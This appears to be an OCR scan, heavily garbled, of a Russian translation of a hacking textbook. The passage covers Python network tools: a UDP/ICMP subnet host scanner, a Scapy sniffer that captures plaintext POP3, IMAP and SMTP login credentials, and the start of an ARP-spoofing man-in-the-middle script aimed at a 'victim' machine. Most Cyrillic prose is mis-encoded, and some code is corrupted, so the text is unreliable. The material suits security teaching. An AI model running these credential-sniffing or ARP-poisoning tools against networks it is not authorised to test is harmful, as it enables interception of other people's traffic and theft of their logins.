Bocmosbayemest MopryJieM ipaddress, 4T06bI CKAHUPOBAHUE CETEBBIX Y3JI0B MOTJIO
OXBaTHUTh 11eJyIo mojiceTb. CoxpaHuTe CBOI CKPUNT sniffer_with_icmp.py mox
UMeHeM scanner.py 1 100aBbTe B HETO CJIELYIOIINI KO/

import ipaddress
import os

import socket
import struct
import sys
import threading
import time

# ckaHupyemaa noAaceTb

SUBNET = '192.168.1.0/24"

# BonwebHaA cTpoka, KOTopyl Mbl byaem umckaTb B ICMP-oTBeTax
MESSAGE = 'PYTHONRULES!' ©

class IP:
--nponyueHo- -

class ICMP:
--nponyueHo- -

# 5Ta ¢QyHkuma pobasnseT B UDP-paTarpammbl Hawe BoawebHoe coobueHune
def udp_sender(): @®
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sender:
for ip in ipaddress.ip_network(SUBNET).hosts():
sender.sendto(bytes(MESSAGE, 'utf8'), (str(ip), 65212))

class Scanner: ©
def __init_ (self, host):
self.host = host
if os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
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self.socket = socket.socket(socket.AF_INET,

socket.SOCK_RAW, socket_protocol)

self.socket.bind((host, 0))

self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == 'nt':
self.socket.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

def sniff(self): O
hosts_up = set([f'{str(self.host)} *'])

try:

while True:
# 4uTaem naket
raw_buffer = self.socket.recvfrom(65535)[0]
# cospaem IP-3aronoBokK W3 nepBbix 20 6aiT
ip_header = IP(raw_buffer[0:20])
# Hac wuHTepecyeT ICMP
if ip_header.protocol == "ICMP":

offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + 8]
icmp_header = ICMP(buf)
# vwem TMN u Kop 3
if icmp_header.code == 3 and icmp_header.type ==
if ipaddress.ip_address(ip_header.src_address) in ©
ipaddress.IPv4Network (SUBNET):

# npoBepsaem, coaepxuT nu bydep Hawe BoswebHoe coobueHune
if raw_buffer[len(raw_buffer) - len(MESSAGE):] ==
bytes(MESSAGE, 'utf8'):
tgt = str(ip_header.src_address)
if tgt != self.host and tgt not in hosts_up:
hosts_up.add(str(ip_header.src_address))
print(f'Host Up: {tgt}') @

# obpabaTbiBaem Ctrl+C
except KeyboardInterrupt: @
if os.name == 'nt':

self.socket.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

print('\nUser interrupted.')
if hosts_up:

print(f'\n\nSummary: Hosts up on {SUBNET}")

for host in sorted(hosts_up):

print(f'{host}")

print('")

sys.exit()
if __name__ == '_main__":
if len(sys.argv) == 2:
host = sys.argv[1]
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else:
host = '192.168.1.203"
s = Scanner(host)
time.sleep(5)
t = threading.Thread(target=udp_sender) ©
t.start()
s.sniff()

DTOT MOCe[HUI (PparMeHT KoJia IOJIKEH BBITJIS/IETh JOBOJBHO MOHSTHBIM. Mbl
OIIPEIETISIEM TIPOCTYIO CTPOKOBYIO CTPYKTYPY @, 4UTOOBI IIPOBEPUTH, YTO TOTYYEH-
HBIE COOOIIEHUST TIPUXOAAT B OTBET MMEHHO Ha M3HAYAJIbHO OTIPABJICHHbIEC HAMU
UDP-nakers. Myukiust udp_sender @ 1pocTo MPUHUMAET TIOJCETH, KOTOPYIO
MbI yKa3aJIi B BEPXHEil 4acTh CKpUIITa, Iiepebupaer B Hell Bce [P-azpeca u et
o HuM UDP-natarpamMmmbi.

3atem MbI onpeziesisieM Kiace Scanner ©. UToObI €10 MHUIIMATM3UPOBATD, TIEpe-
JlaeM eMy B KauecTBe apTyMeHTa aJipec CeTeBOro ysJa. B Xoje mHunmastnsanmm
MbI CO3/1a€M COKET, BKJII0UYaeM Hen30upaTeIbHbIi pesKUM (eCJIH KOJI BBITIOJTHSIETCS
B Windows) u fiestaeM 3TOT COKeT aTpruOyTOM KJjlacca Scanner.

Metoj sniff @ aHaM3UPYET CETh, BBITIOJHSIS Te Ke TIArH, YTO U B TIPEbIYTIEM ITPU-
Mepe, TOJIBKO Ha 3TOT Pa3 3alHChIBaeT NH(GOPMAIINIO O TOM, KaK1e U3 CETEBBIX Y3JI0B
pabotator. [Ipu o6Hapyskerun oxxugaemoro ICMP-coobiierust MbI CHauasa mpoBe-
psieM, TIPUIILIO JIK OHO U3 HYKHOU rocet ©. 3ateM yOexkIaeMcst B TOM, 4TO B HEM
collepKRUTCsT Hara BosteGHast ctpoka @. Eciii Bee poBepKY MPOIEHbI YCIIEITHO,
BoiBo/IM [P-ajipec ceteBoro yaia, kotopsiit otnpasui [CMP-coobmienne @. Ecii
POTIECC CKAHWPOBAHMS MpepBaH HakatneM Ctrl+C, oO6padarsiBaeM HCKIIOYEHUE
KeyboardInterrupt @, BbIK/IOUast HEM30UPATEIbHBIN PEXKUM (€CIU KO/ BBITIOJHSIET-
cst B Windows), 1 BBIBOZIM OTCOPTUPOBAHHBIN CIIUCOK PAOOTAIOIINX CETEBBIX Y3JIOB.

Biok __main__ mpopesbiBaeT MOATOTOBUTENbHYIO PpaboTy: OH co3aeT 0OBbEKT
Scanner, OCTaHaBJIMBAETCA Ha HECKOJILKO CEKYH/L U 3aTeM, IIPEXK/e YeM BbI3BATh
MeToj shiff, BEITOIHSET udp_sender B OTIEIbHOM IIOTOKE ©, YTOOBI HE IpepbiBaTh
poliecc aHajn3a oTBeToB. IlocMoTpuM, Kak 5To paboTaer.

MpoBepka HAaNUcAaHHOro

Temeps 3armrycTuM HAIll CKaHEP B JJOKAJIbHOU ceTr. MOKHO MPUMEHTH Kak Linux,
tak 1 Windows — Ha pesyJisrar aTo He MoBJusieT. JIOKaJIbHbI KOMITBIOTEDP, KOTO-
PpoIii ncrrosrb3oBasm aBTopsl, nMed [P-anpec 192.168.0.187, moaTomy MBI HattpaBy-
s ckanep Ha ozaceth 192.168.0.0/24. Ecu B X0oz1e MPOBEPKH Y Bac MOTYYAETCS
CJIUIIIKOM OOBEMHBIN BBIBO/I, TIPOCTO 3aKOMMEHTHUPYIITe BCe MHCTPYKIIUU print,
KPOMe T0CJIe/IHEell, KOTOPast BBIBOJIUT a/IPEC OTBETUBIIETO CETEBOTO Y3JIa:
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python.exe scanner.py
Host Up: 192.168.0.1

Host Up: 192.168.0.190
Host Up: 192.168.0.192
Host Up: 192.168.0.195

MOAYNb IPADDRESS

Haw ckaHep 6ypeTt ucnonbsosats 6ubnuoteky ipaddress, ¢ momouwbio Ko-
TOPOM CMOXET KOPPEKTHO MHTEPrPEeTUPOBATL MACKM MOACETEM, TAKME KOK
192.168.0.0/24.

Mogaynb ipaddress cyuwecTBeHHO ynpowaeT paboTy ¢ MOACETAMMU U OAPECAMM.
Hanpumep, c nomolubio o6bekTa Ipv4Network MO>XXHO BbIMOJIHMTL MPOCTYIO MPO-
BEPKY Hamoaobue cneayiowwen:

ip_address = "192.168.112.3"

if ip_address in Ipv4Network("192.168.112.0/24"):
print True

Bul TakXxe mMoXxeTe co3fdaBaTb MPOCThIE MTEPATOPBI, €CJIM HYXHO PA30C/IATb
NaKkeTbl MO BCEM CEeTHU:
for ip in Ipv4Network("192.168.112.1/24"):
s = socket.socket()

s.connect((ip, 25))
# oTnpaBnsemM NoYTOBblE MaKeTbl

3TOT MoAy/nb CUILHO YMPOLOET XXM3Hb MPOrPAMMMCTAM B CUTyduMsX, Korad
HY>KHO paboTaTb CO BCEM CETbIO LEMKOM, U MAEANLHO MOAXOAMT ANA HALEro
CKOHEPO CEeTEBbIX Y3/10B.

[ToBepxHOCTHOE CKAHMPOBAHME, KOTOPOE MBI TIPOBEJIU, 3aHUMAET BCETO HECKOIBKO
cekyhz. ConocraBus nosrydernbie IP-agpeca ¢ DHCP-rtabmuieii B 1oMaiiHeM
MapHIpyTU3aTOPE, MBI CMOTJIN TIOATBEPANTH KOPPEKTHOCTH PE3yIbTaTOB. SHAHUA,
nproGpeTeHHbIe B 9TOI TJIaBe, MOKHO JIEFKO TIPUMEHUThD JIJIsT IeKOANPOBAHUST
TCP- u UDP-naketos, a Tak:ke paspabOTKU Ha OCHOBE HTOr0 CKaHepa JO0TIOJI-
HUTEJbHOTO HHCTpyMeHTapus. Ckanep OyJeT UCIOJIb30BaThCS TaKKe B TJIaBe 7
npu cosjanuu GpeiiMBOPKa /T TPOSHOB, OH MTO3BOJIUT PAa3BEPHYTOMY TPOSTHY
CKaHUPOBAThH JIOKAJIBHYIO CETh HA IIPEJIMET TIOUCKA TATTbHEHIINX 11eJIeH /IS aTaKy.

MTak, BBl yCBOWIM OCHOBHBIE TIPUHITUIIBI PAOOTHI CETEll Ha BHICOKOM U HU3KOM
yposisix. Tereps uccieayem pa3sutyio 6ubsnorexy st Python o nassanuem
Scapy.



3axBAT ceTu ¢ nomolwblo Scapy

BpeMms oT BpeMeHU HaM [OTIAJaeTcsl HaCTOJIbKO MPO-
JAyMaHHas ¥ yauBUTe bHas OubsroTeka aast Python,
4TO /I €€ HAAJIeKAIlero paCCMOTPEHUs He XBATHIIO
ObI 11eJ101 ry1aBbl. VIMEHHO Takyio OUOJNOTEKY CO3/aal
Dumrin buonau. Ona HasbIBaeTcst Scapy ¥ peiHa3HauYeHa
JUISE MAHUITYJIMPOBAHUS ceTeBbIMU aketamu. [1o npourenun
9TOM TJIaBbl Y BaC MOKET HOSBUTHCS OIIYILEHNE, YTO BCIO TY pabOTy, KOTOPYIO MbI
[POIesIajid B TPEAbIAYIINX ABYX IJIaBaX, MOKHO ObLJIO Obl 3aMEHUTh OJHON MK
JIBYMsI CTPOUYKAMU KOJa Ha OCHOBe Scapy.

Bubsmoreka Scapy orimyaercst rTHOKOCTBIO ¥ MOYTH Ge3rPaHUYHBIMU BO3MOIK-
HocTsiMu. YTOOBI YBUIETH, HA YTO OHA CIIOCOOHA, TIPOAHATN3UPYEM TpadhuK /1JIs
MOXUIIEHUS YUeTHBIX JAHHBIX 2JIEKTPOHHOU MOYTHI, TIepPelaBaeMbIX OTKPBITBIM
TEKCTOM, 3aTeM MmojMeHrM ARP-makeThl aTakyeMoro KOMIIbIoTepa, 4TOObI repe-
XBaTUTL ero Tpaduk. B konte mor pacimmpuM API Scapy msa 3axsara ceteBoro
Tpaduka, 4ToOb N3BIEYb M300pakenus, nepegasaembie o HTTP, u npumenum
K HUM HHCTPYMEHTBI JJist OOHAPY KEHUST JIIL, YTOObI Y3HATH, TIPUCYTCTBYIOT JIH Ha
ATUX M300PAKEHUSX JTHO/H.

MbI pekoMeHyeM UCIob30BaTh OubanoTeky Scapy B Linux, Tak Kak oHa
paspabaTbiBajiach UMEHHO JIJIsI 9TOU cucTeMbl. Ee mocieHsist Bepcust mojep-
sxuBaeT Windows, HO B 9T0il TJ1aBe MbI UCXOJMM M3 TOTO, YTO BbI IPUMEHSIETE
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Buptyasibhyio Mammmnay (BM) Kali ¢ mosHodyHKIIMOHAIBHBIM ITAKETOM Scapy.
Ecain y Bac HeT 9TOTO TakeTa, MpoiianTe Ha BeO-cailT https://scapy.net/ 1 BbITIO-
HUTE YCTAHOBKY.

Teriepb npeicTaBUM, 4TO BbI IIPOOPAINCH B JIOKAJIBHYIO CETh MHTEPECYTOIIETO BaC
KOMITbIoTepa. B aTOlt Ty1aBe BbI M3yunTe METOANKU, KOTOPBIE TIO3BOJIST TIepeXBa-
THIBaTbh TPA(UK B JJOKAJIHHOU CETH.

MoxunweHne y4yeTHbIX [AHHBbIX
3/1eKTPOHHOM NOYUTbI

Bol yke moTpaTnan HeKOTOpOe BpeMs Ha M3ydeHUe BCeX HI0AHCOB TOTO, KaK
B Python ananmsupyercs rpaduk. Pacemorpum unrtepdeiic Scapy, mpegiHazHadeH-
HBIH JIJI TIepexBaTa MakeToB M aHAJIN3a UX CO/IEPsKUMOTO0. M bl cO3/1a/IMM TIPOCTON
aHAJIN3aTOP, KOTOPBIH Oy/IeT MepexBaThiBaTh YYeTHBIE JaHHBIE JJIST TPOTOKOJIOB
SMTP (Simple Mail Transport Protocol — mpocToii mpoToKos nepemavn moy-
To1), POP3 (Post Office Protocol — npoTokoJ1 ouToBOro otaeseHus, Bepcust 3)
n IMAP (Internet Message Access Protocol — mmpoTokos gocTyma K MHTepHeT-COo-
obuienusm). [Tocsie COBMECTUM 9TOT MHCTPYMEHT € aTaKoii Imocpeanrka (man-in-
the-middle, MITM) na octose criydunra nporokoia ARP (Address Resolution
Protocol — mpoTokoJ1 onpeesieH st azpeca), 4To TO3BOJUT HaM JIETKO MOXHIIATh
y4eTHbIE TaHHbBIE IPYTUX KOMITBIOTEPOB B CeTH. ECTeCTBEHHO, 9Ty METOANKY MOXKHO
MPUMEHNTH K JIIOGOMY TIPOTOKOJTY, € €€ TIOMOIIBIO MOKHO TaKKe COXPAHUTD BECh
Tpaduk B (ailyie pcap IS JaTbHEHIIEr0 aHAIN3a, 4TO OYAeT MPOAEMOHCTPUPO-
BaHO TTO3KeE.

Yro6bl HAYIUTHCS PabOTATD CO Scapy, CO3MAMNM JIJIsT HAYaIa KapKac aHaIn3aTopa
TpaduKa, KOTOPBIN MTPOCTO U3BJIEKAET M COXPAHSET CeTeBble MakeTwl. J[Jist aToro
npegycMoTpera GyHKINsT ¢ METKUM HazBaHueM sniff (ot anru. sniffer — «mio-
Xauy» ), KOTOpast BBITJISIUT TaK:

sniff(filter="",iface="any",prn=function, count=N)

[Tapamerp filter nospoJsier ykazath Gusasrp BPF (Berkeley Packet Filter —
(punpTp makeroB Bepkin) /714 MakeToB, KOTOPBIE TTEPEXBATHIBACT Scapy; €Ccan
HaM HY’KHBI BCE TTAKeThI, 9TOT TapaMeTp MOXKHO OCTaBUTH MycThIM. Hampumep,
s 3axpara Bcex HTTP-makeroB MmosxHO ncniosrb3oBats BPF-dunsTp Buma tep
port 80. [lapameTp iface roBOpUT aHATU3ATOPY, KAaKOi ceTeBOI nHTepdelic HyK-
HO MTPOCJIYIIUBATD; €CJIM OCTABUTH €TI0 IYCTHIM, Scapy OyeT IPOCIYIIBATh BCe
unrepdeiicer. [TapameTp prn Mo3BoJsIeT yKa3aTh (DYHKIINIO 0OPATHOTO BBI30Ba,
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KOTOpas Oy/IeT BBIIOJIHATHCS /IS KasKI0TO ITaKeTa, POy HIEHHOTrO (DUIBTPOM;
B KauecTBe CBOETO eJIMHCTBEHHOIO apryMeHTa OHa IIPUHUMaeT 00bEKT MaKeTa.
[TapameTp count ompezessieT, CKOJIbKO BCErO MaKeTOB Bbl XOTHTE TPOAHATIH-
3UPOBATh; €CJAU OCTABUTH €TO MYyCThIM, Scapy Oy[IeT MPOoA0JIKATh aHaINU3 [0
OECKOHEYHOCTH.

JlJ1s1 Havasa co3aiM IIPOCTO aHAIM3aTOP, KOTOPBIH IePeXBaThIBAET MAKeT U CO-
XPaHsIET ero COAEPKUMOE. 3aTeM CAEIAEM TaK, YTOObI OH aHAJIM3UPOBAJ TOJIBKO
KOMaH/IbI, OTHOCSIIIECS K 9JIeKTPOHHOM mouTe. OTKpoiiTe haiimimail_sniffer.py
U HATIOTHUTE €T0 CIeTYIOMIM KOIOM:

from scapy.all import sniff

def packet_callback(packet): ©
print(packet.show())

def main():

sniff(prn=packet_callback, count=1) @
if __name__ == '__main__":

main()

Brauasie Mbl onpezesisieM (hyHKI[IIO 0OPaTHOTO BbI30Ba, KOTOpast Oy/IeT PUHU-
MaTh KOKIbIH TlepexBaueHHbIil makeT @, 3aTeM IPOCUM Scapy 3aHsThCST AaHATU30M
Tpacduka @ Ha Bcex mHTepdeiicax 6e3 kakoi-1m60 husisrparmu. Tereps 3amycTum
9TOT CKPUNT. BBl 10JEKHBI yBUETH TPUMEDPHO TAKOI BHIBOJI:

$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py
###[ Ethernet ]###

dst = 42:26:19:1a:31:64
src = 00:0c:29:39:46:7e
type = IPv6
#H[ IPV6 1###
version =6
tc =0
f1l = 661536
plen = 51
nh = UDP
hlim = 255
src = fe80::20c:29ff:fe39:467e
dst = fe80::1079:9d3f:d4a8:defb
##H[ UDP 1###
sport = 42638
dport = domain
len = 51

chksum oxcf66
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##H[ DNS ##H#

id = 22299
qr =0
opcode = QUERY
aa =0

tc 0

rd 1

ra 0

z =0

ad =0

cd =0
rcode = ok
qdcount =1
ancount 0
nscount 0
arcount =0

\qd \

| ###[ DNS Question Record ]##i#
| gname = 'vortex.data.microsoft.com.’
| atype =A
| gclass = IN
an = None

ns = None

ar = None

Bee okaszanochk Tak npocro! Kak Bugnte, Kor/a ObLI 1oJIy4YeH HepBbiil ceTeBO 1ma-
KeT, QyHKIMst 06PaTHOTO BHI30BA BBIBEJIA €I0 COAEPKMMOE BMECTE C HEKOTOPBIMU
CBEZICHUSIMH O TIPOTOKOJIE, BOCTIOTB30BABIINCE JIPYTON, BCTPOEHHON (DyHKITHEH
packet.show. (DyHKHI/IH show OTJIMYHO ITOAXOUT I OTJIQ/IKNA CKPUIITOB I10 MEPE
UX HAIMCAHWUS, TIO3BOJISIS YIOCTOBEPUTLCS B TOM, UTO BbI 3aXBaTbIBaeTe HY KHbIN

TpaduK.

WTax, Mbl mosryunsin asneMeHTapHbril carddep. Teneps mpuMenum GuasTp u pac-
HIUPHM JIOTHKY (DYHKIMN 00PaTHOTO BBI30BA, YTOOBI 3BJI€Yb CTPOKHU, OTHOCSIIIIUECS
K ayTeHTU(UKAINAN 110 TPOTOKOJIAM 3JIEKTPOHHOM TTOYUTHI.

B ciemytoneM npumepe Mbl BOCIOJIb3yeMCst (DUIIBTPOM, YTOObI aHATM3ATOP BbI-
BOJIUJI TOJIBKO T€ MaKeThl, KOTOPbIe HAC MHTepecyIoT. [l aToro 3ajeficTByeM
cunrtakcruc BPF, koTopslil emie HasbiBaloT cmuiem Wireshark. 91oT cuHTaKCuC
BCTPEYAETCsI B TAKMX MHCTPYMEHTaX, Kak tcpdump, u B (huiibrpax 3axsara Tpaduka,
KOTOpBIE MCIoJb3ytoTest B Wireshark. PaccMoTpuM ero ocHoBHbBIE OCOGEHHOCTH.
B dusrpe MoskHO HComb30Bath Tpu Trmia nHbopmanun. Kak Buano us tabur. 4.1,
BBI MOJKETe yKa3aTh iecCKpuntop (Harpumep, KoukpetHsiii [P-anpec, nnrepdeiic
WJIW TIOPT ), HaTIpaBJieHue TpadKa U MPOTOKOJI B 3aBUCUMOCTH OT TOTO, YTO UIIETE
B TIEPEXBATHIBAEMbIX TTAKETAX.
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Tabnuuya 4.1. Cuntakcuc BPF-dounsTtpa

Beipa>keHue Onucanue Mpumepsbl KNOYEBLIX C/NOB
[leckpunTop Yro BbI uileTe host, net, port
Hanpasienue Hanpasienue qBuKkenns sre, dst, src min dst
[Tporoxou IIporokon nmepenaun Tpacduka ip, ip6, tcp, udp

Hampumep, Beipakenue src 192.168. 1. 100 onpejiesisieT (pUbTp, 3aXBaThIBAIOTIUI
TOJILKO Te ITaKeThbl, KOTOPbIE OTIPaBJsieT KOMIbIOTEDP ¢ aapecom 192.168.1.100.
DunbTp dst 192.168.1.100 SABJISETCS €r0 MTPOTUBOTOIOXKHOCTHIO — OH 3aXBa-
TBIBAET TOJIBKO MAaKeThl, HarrpaBJjeHHbIe 110 azipecy 192.168.1.100. AramornyabiM
06pa3om BhIpasKeHuUs tep port 110 u tcp port 25 onpefesstior (hUIbTp, KOTOPbIit
Gymert mpormyckarh Tosbko TCP-maketsl, otrnpasieHnbie yepes mopts 110 i 25.
Teneps paBaiite pacimpum Hanr cHUudbep ¢ momonibio cuaTakcnca BPE:

from scapy.all import sniff, TCP, IP

# 06paTHbIi BbI3OB AN 06paboTKM NakeTos
def packet_callback(packet):
if packet[TCP].payload: ©
mypacket = str(packet[TCP].payload)
if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): @
print(f"[*] Destination: {packet[IP].dst}")
print(f"[*] {str(packet[TCP].payload)}") ©

def main():
# 3anyckaem cHuddep
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143', @
prn=packet_callback, store=0)

if __name__ == '__main__':
main()

3ech Bee 0BOJIBHO OUeBUIHO. MbI OTpeiakTupoBaiu GpyHKuio sniff, 106aBuB
B Hee ¢puasTp BPE 3axBarsiBatontuii ToapKo Tpadrk, HafpaBIeHHbBIH Ha XapaKkTep-
HbI€ JJ1sT y1eKTpoHHOM 1ouThl TopThl 110 (POP3), 143 (IMAP) u 25 (SMTP) @.
Takske MbI UCII0JIb30BAIM HOBBII ITapaMeTp ¢ UMeHeM store: ecJii IIPUCBOUTD eMy O,
Scapy te OyeT XpaHUTh MAKETHI B TAMSITH. JTOT TIAPAMETP JKeIATETBHO T00ABISTH
B CJTy4ae, €CJIU BbI XOTHTE, 4UTOOBI aHATN3aTOP Tpaduka paboTa ITUTETHHOE BPEMS],
TaK Kak 3TO MO3BOJIMT U30eKaTh CyIecTBeHHOro pacxoaa pecypcos O3Y. Korma
cpabarbiBaeT (YHKITHST 0OPATHOTO BBI30BA, MbI ITPOBEPSIEM, TTOJIYUHJIA JIF OHA T10-
Jie3Hble laHHble @ 1 coiepskaTes JIM B HUX KOMaH/Ibl USER miin PASS, XapaKkTepHbIe
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JUIS1 9JIEKTPOHHOM 1ouThl @. OGHAPYsKIUB ay TeHTH(MUKAIIMOHHYIO CTPOKY, BBIBOIUM
aJ[pec cepBepa, KOTOPOMY OHa [IEPEIAETCsI, U caMu OAIITBI, COIEPKaIIecsT B makeTe ©.

MpoBepka HanucaHHoro

[lasee MoKa3aH JeMOHCTPAIIMOHHBIN BBIBO /I (PUKTUBHOM yYeTHOH 3aITucH,
K KOTOPO¥ aBTOPBI MBITAJINUCH TIOIKJIIOYUTH IIOYTOBBIN KITUEHT:

(bhp) root@kali:/home/tim/bhp/bhp# python mail_sniffer.py
[*] Destination: 192.168.1.207

[*] b'USER tim\n'

[*] Destination: 192.168.1.207

[*] b'PASS 1234567\n"

Kaxk BuauTe, Halll KJIMEHT IIbITaeTcs BoiTH Ha cepep 192.168.1.207 u oTripaBUTH
10 CeTU YYeTHbBIE JaHHBIE B OTKPBITOM BU/IE. ITO OUeHb IIPOCTOU ITPUMEP TOTO, KaK
CKPWIIT [IJIsT aHAIN3a TpahrKa Ha OCHOBE Scapy MOKHO IPEBPATUTDb B MHCTPYMEHT,
TTOJIE3HBIN JJIsT TECTUPOBAHUS HA TPOHUKHOBEHUE. JTOT CKPUNT MpeaHA3HAUEH
s Tpaduka aJIeKTPOHHOM MOYTHI, Tak Kak MBI HacTpousan ¢puastp BPF ans
OTCJIE;KUBAHNS COOTBETCTBYIONIUX MOPTOB. TOT (DUITBTP MOKHO OTKOPPEKTUPO-
BaTh /s MOHUTOPUHTA IPyTroro Tpaduka: Harpumep, 4Todbl HaboaaTh 3a FTP-
COeIMHEHUSAMU U YYeTHBIMU JJaHHBIMU, OMEHIUTE ero Ha tcp port 21.

IMoarmsapiBaTh 32 COGCTBEHHBIM TPadUKOM, MOJKET, U BECEJIO, HO JIydIle, KOoTr/a
3TOT TpaUK MPUHAJIEKUT KOMY-TO Ipyromy. JlaBaiiTe mocMOTpUM, KaK TTPOBECTH
ataky ARP-crydunra /7151 3axBaTa makeToB y/1aJIeHHOTO KOMITbIOTEPA, Pa3MellleH-
HOTO B TOI K€ CETH.

ARP-cnydmHr ¢ ncnonnsosaHuem Scapy

ARP-criypunr (ARP spoofing win ARP poisoning) — 3T0 0iMH U3 CTapeiinmx,
HO B TO Xe BpeMs 2 (PeKTUBHENINX TPUEMOB B apceHase xakepa. loBops 1mpo-
CTO, MbI YOEIMM aTaKyeMbIil KOMITBIOTEP B TOM, YTO CTaJIM €T0 MIJII030M U YTO BECh
nepeaaBaeMblii eMy TpaduK JAOJKEH MTPOXOAUTH Yepe3 Hac. Y J060ro KOMIIbIO-
Tepa B ceTr ecthb kol ARP co ciimekom nociiennnx MAC-azpecos (media access
control — yrpasiieHue 10CTYIIOM K CPeJie), KOTOpble COOTBETCTBYIOT I P-aspecam
B JIOKQJIBHOU ceTH. [l MpoBe/leHnst aTaKu Mbl BHEJPUM B 3TOT K31 3aITUCU
0 KOHTpoJIMpyeMbIxX Hamu y3iax. [lockonbky mpotokony ARP u ARP-ciiypunry
B II€JIOM [TOCBSIIIIEHO MHOKECTBO /IPYTUX MATEPUAJIOB, IIPE/IJIaraeM BaM CaMOCTOsI-
TEJILHO MCCJIEA0BATh JaHHYIO TeMY, YTOOBI TIOHATh IPUHIUIT PabOTHI 9TON aTaku
Ha 6oJiee HU3KOM YPOBHE.
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Vtak, Mbl pa3o0pasIich ¢ TeM, UTO HYKHO JesiaTh. OCTaeTcst TOJIbKO PeaTn30BaTh
BCe 9TO Ha TpaKTUKe. B Xo/e TeCTUPOBAaHWS aBTOPbI aTaAKOBAJIN (PUINYECKUTT
komibiorep ¢ macOS u3 BM Kali. 9tot Koz Takike HPOBEPSIJICS C UCIIOIb30BAHN-
€M Pa3IMYHbIX MOOUJIBHBIX YCTPOICTB, MOAKIIOUYEHHBIX K OECIPOBOIHON TOUKE
JIOCTYIa, U BCe 3aMedaresibHo paborano. IlepsbiM mesoM nposepum ARP-karr
Ha aTakyeMoM KoMIiibioTepe ¢ macOS, a caMy ataky MpoJieMOHCTPUPYEM TTO3:KeE.
[lamee mokasano, kak nmpoBepuTh ARP-Ka11 Ha JIOKATBHOM KOMIIBIOTEPE IO/
yrpaBienrem macOS:

MacBook-Pro:~ victim$ ifconfig eno

end: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
ether 38:f9:d3:63:5c:48

inet6 fe80::4bc:91d7:29ee:51d8%end prefixlen 64 secured scopeid Ox6

inet 192.168.1.193 netmask Oxffffffoo broadcast 192.168.1.255

inet6 2600:1700:c1a0:6ee0:1844:8blc:7fe0:79c8 prefixlen 64 autoconf secured
inet6 2600:1700:cla0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64 autoconf temporary
inet6 2600:1700:c1a0:6ee0::31 prefixlen 64 dynamic

nd6é options=201<PERFORMNUD,DAD>

media: autoselect

status: active

Komanza ifconfig BBIBOIUT CETEBYIO KOH(bHrypaumo JUUIST 3a/IaHHOTO MHTepdelica
(31echb aTO €N0) MJIHN, ecJIn TAKOBOH He yKasaH, i BceX nHTepdeiicos cpasy. Kax
MOKA3bIBAET ATOT BBIBOJI, ycTpoiicTBO nMeeT [Pv4-anpec (inet) 192.168.1.193.
Taxxe mepeuncienst MAC-anpec (38:19:d3:63:5c:48, TOMeUeHHbIN Kak ether)
u HeckonbKo [Pv6-anpeco. ARP-ciyunr paboTtaeT ToJIbKO /1715 a1pecoB (hopmaTa
IPv4, moatomy IPv6-axpeca 6yayT MPOUTHOPHUPOBAHDL.

Teneps mocmoTtpum, yto HaxoauTcs B ARP-kamre kommbiotepa ¢ macOS. [laree
nokazanel MAC-azipeca, KOTOpbI€, TI0 MHEHHIO 3TOTO YCTPONCTBA, MPUHA/IEKAT
€ro COCe/IsIM T10 CETH:

MacBook-Pro:~ victim$ arp -a

kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on end® ifscope ©
dsldevice.attlocal.net (192.168.1.254) at 20:e5:64:c0:76:d0@ on end@ ifscope @
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on end ifscope [ethernet]

Kak Bumure, KomiboTep B3jgoMInuKa moj yrnpasienuem Kali umeer IP-aapec
192.168.1.203 @ u MAC-anpec a4:5e:60:ee:17:5d. BaimoMuiuk u ero xxepraa
MOJIKJTIOYAIOTCS] K UHTEPHETY Yepes 1103 ¢ [P-ajapecom 192.168.1.254 @, KoTo-
porit B ARP-xarmre mpugsan k MAC-azpecy 20:e5:64:¢0:76:d0. DTH 3HAYCHUS
HaM ellle TIPUTOISATCS, TaK KaK MBI MOKeM TIpocMaTpuBaTh ARP-kam mpsMo Bo
BpeMs aTaky M HaOJIIOAATh 3a TeM, Kak MeHsieTcsl 3aperucTpuposanubii MAC-
ajipec NI03a. Y3HaB ajipeca II03a W Halllel MOTEeHIIMAJIbHOM JKePTBBI, MOKEM
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MIPUCTYTUTD K Harrcanuio ckpurta 1711 ARP-criydunra. Cosnatite daiis c numerem
arper.py M COXpPaHUTE B HEM TIPUBEIEHHBII lasiee Ko/. [l Hauana chopmupyem
KapKac, 4TOOBI BbI [IOJIYYUJIH ITPEICTABIEHIE O TOM, U3 Y€TO COCTOUT 3TOT CKPHIIT:

from multiprocessing import Process

from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
send, sniff, sndrcv, srp, wrpcap)

import os

import sys

import time

def get_mac(targetip): ©
pass

class Arper:
def __init_ (self, victim, gateway, interface='en@'):
pass

def run(self):
pass

def poison(self): @
pass

def sniff(self, count=200): ©
pass

def restore(self): O
pass

if __name__ == '__main__":
(victim, gateway, interface) = (sys.argv[1l], sys.argv[2], sys.argv[3])
myarp = Arper(victim, gateway, interface)
myarp.run()

OmnpezenuM BeroMoraresibHyo (pyHKuio aas noaydenns MAC-aapeca no6o-
ro 3aJjlaHHoro KomIbioTepa @, a Tak:ke Kjacc Arper I TTOAMeHbI (poison) @,
usBievenus (sniff) © u BoccraHoBieHus (restore) @ ceTeBHIX ITapaMETPOB.
HanosanM Ko10M KaKIblil y4acTOK, HAaunHas1 ¢ PyHKINU get_mac, KOTOPas BO3-
Bpamtaet MAC-anpec nisa 3amannoro [P-anpeca. Hac uatepecyior MAC-ampeca
JKEPTBBI U LT3,

def get_mac(targetip):
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) ©
resp, _ = srp(packet, timeout=2, retry=10, verbose=False) @
for _, r in resp:
return r[Ether].src
return None
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Mur iepesiaem 1P-azsipec u co3naem naker @. Dyukius Ether nenaer Tak, 4To
